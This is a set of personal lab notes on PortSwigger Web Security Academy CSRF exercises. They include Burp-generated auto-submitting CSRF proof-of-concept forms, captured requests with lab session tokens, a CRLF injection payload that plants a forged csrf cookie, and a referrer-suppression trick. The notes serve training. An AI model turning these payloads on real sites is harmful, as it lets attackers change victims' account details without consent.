labs

Lab - 1: CSRF vulnerability with no defenses (A)

This lab's email change functionality is vulnerable to CSRF. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server. You can log in to your own account using the following credentials: wiener:peter
enter as wiener
at CSRF vuln end-point,

POST /my-account/change-email HTTP/1.1
...
Cookie: session=3nunxpjn62UDgxNf0EBecuvWuJ846cEB

email=test%40test.com

Right click -> Engagement tools > Generate CSRF Poc
in CSRF PoC generator, Options > Include auto submit script checked
change the email input value in CSRF HTML
copy this HTML into explot server body

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0a1e000d048c5fcac0b6760e001100a9.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab - 2: CSRF where token validation depends on request method (P)

This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter
vuln header

POST /my-account/change-email HTTP/1.1
Host: 0ae60049043c36b9c0aea2ba009200a0.web-security-academy.net
Cookie: session=CCNEJxo2BpHiYUJFVchUb93P9H4Dhp4H
...

email=test%40test1.com&csrf=oep2xvr1MFEG0Ok8HinlCqb8B6WowbHZ

try to change the csrf token -> 404 response with invalid CSRF token
try to change the method GET without csrf and 302 found
to solve the lab, do as previous lab

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0ae60049043c36b9c0aea2ba009200a0.web-security-academy.net/my-account/change-email"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab - 3: CSRF where token validation depends on token being present (P)

This lab's email change functionality is vulnerable to CSRF. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter
Vuln header

POST /my-account/change-email HTTP/1.1
Host: 0a09006e04746b0dc04e086000ef0000.web-security-academy.net
Cookie: session=Pmb74EIgFYd4Kda7rtB4fh2qte7uwbhD
...

email=test%40test.com&csrf=UUo0mCzxDHh17KZpgwEeIjaMTQLp1Tsj

try to remove the csrf token, and send the request and 302 found

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0a09006e04746b0dc04e086000ef0000.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab - 4: CSRF where token is not tied to user session (P)

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
- wiener:peter
- carlos:montoya
enter with carlos account and try above steps
enter with wiener account in private tab, get the csrf token with proxy and drop the request (it is import. token is for single use)
replace that token with the carlos token

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows: wiener:peter, carlos:montoya

a little complicated! will do later

This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter

POST /my-account/change-email HTTP/1.1
Host: 0afe0082039e0415c08d14bc003e0000.web-security-academy.net
Cookie: session=qUqqOoUGQAbRUkorybFlGIOm5xD4fncJ; csrf=BXhFZY0oSlyYbHTYrNHvrr8yE2Q98FmW
...
email=test%40test.com&csrf=BXhFZY0oSlyYbHTYrNHvrr8yE2Q98FmW

If csrf in request body parameter is same as that of cookie, whatever the values are, it is accepted.
try to set the custom cookie and set csrf to that cookie
perform a search, and found that the response contains Set-Cookie: LastSearchTerm=something and search term has no CSRF protection and use this to inject cookie into the victim browser by

GET /?search=game%0d%0aSet-Cookie:%20csrf=fakeCSRF HTTP/1.1

result

HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=game

Set-Cookie: csrf=fakeCSRF; Secure; HttpOnly
Content-Type: text/html; charset=utf-8

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0afe0082039e0415c08d14bc003e0000.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="submit" value="Submit request" />
    </form>
    <img
      src="https://0afe0082039e0415c08d14bc003e0000.web-security-academy.net/?search=game%0d%0aSet-Cookie:%20csrf=fake"
      onerror="document.forms[0].submit();"
    />
  </body>
</html>

first load the image and this will set the user browser with cookie csrf=fake
then it will get error, and the form will be submit with the same csrf=fake

Lab - 7: CSRF where Referer validation depends on header being present (P)

This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter
there is no csrf token present in POST request
but when you send the CSRF PoC, it will result invalid referrer header
then add META tag in PoC HTML

<meta name="referrer" content="never">

Previousnotes NextDirectory Traversal

Last updated 2 years ago

<html>  <body> <script> history.pushState("", "", "/"); </script> <form action="https://0a1e000d048c5fcac0b6760e001100a9.web-security-academy.net/my-account/change-email" method="POST" > <input type="hidden" name="email" value="test@test2.com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

POST /my-account/change-email HTTP/1.1 Host: 0ae60049043c36b9c0aea2ba009200a0.web-security-academy.net Cookie: session=CCNEJxo2BpHiYUJFVchUb93P9H4Dhp4H ... email=test%40test1.com&csrf=oep2xvr1MFEG0Ok8HinlCqb8B6WowbHZ

<html>  <body> <script> history.pushState("", "", "/"); </script> <form action="https://0ae60049043c36b9c0aea2ba009200a0.web-security-academy.net/my-account/change-email" > <input type="hidden" name="email" value="test@test2.com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

POST /my-account/change-email HTTP/1.1 Host: 0a09006e04746b0dc04e086000ef0000.web-security-academy.net Cookie: session=Pmb74EIgFYd4Kda7rtB4fh2qte7uwbhD ... email=test%40test.com&csrf=UUo0mCzxDHh17KZpgwEeIjaMTQLp1Tsj

<html>  <body> <script> history.pushState("", "", "/"); </script> <form action="https://0a09006e04746b0dc04e086000ef0000.web-security-academy.net/my-account/change-email" method="POST" > <input type="hidden" name="email" value="test@test2.com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

POST /my-account/change-email HTTP/1.1 Host: 0afe0082039e0415c08d14bc003e0000.web-security-academy.net Cookie: session=qUqqOoUGQAbRUkorybFlGIOm5xD4fncJ; csrf=BXhFZY0oSlyYbHTYrNHvrr8yE2Q98FmW ... email=test%40test.com&csrf=BXhFZY0oSlyYbHTYrNHvrr8yE2Q98FmW

<html>  <body> <script> history.pushState("", "", "/"); </script> <form action="https://0afe0082039e0415c08d14bc003e0000.web-security-academy.net/my-account/change-email" method="POST" > <input type="hidden" name="email" value="test@test2.com" /> <input type="hidden" name="csrf" value="fake" /> <input type="submit" value="Submit request" /> </form> <img src="https://0afe0082039e0415c08d14bc003e0000.web-security-academy.net/?search=game%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit();" /> </body> </html>